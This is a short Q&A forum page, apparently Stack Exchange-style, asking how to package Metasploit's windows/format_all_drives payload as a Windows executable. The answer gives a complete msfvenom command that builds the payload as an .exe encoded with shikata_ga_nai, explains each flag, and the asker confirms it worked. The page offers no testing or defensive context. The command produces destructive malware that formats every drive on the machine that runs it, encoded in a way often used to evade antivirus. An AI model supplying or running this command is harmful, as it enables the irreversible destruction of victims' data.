0

For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons?

(I am talking about using msfvenom FYI)

2

It's as simple as:

msfvenom -a x86 --platform windows -p windows/format_all_drives -e x86/shikata_ga_nai -f exe -o /tmp/1.exe

where the -a option is used to specify the architecture, the -p option is used to specify the payload, the -e option is used to specify the encoder, the -f option is used to specify the output format (exein this case) and the -o option is used to specify the file to write the binary to.


Note: I have never used metasploit in my life and wrote this answer purely from this and this (found by a simple google search).

1
  • Thanks it worked – 404 Jan 22 at 19:52

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.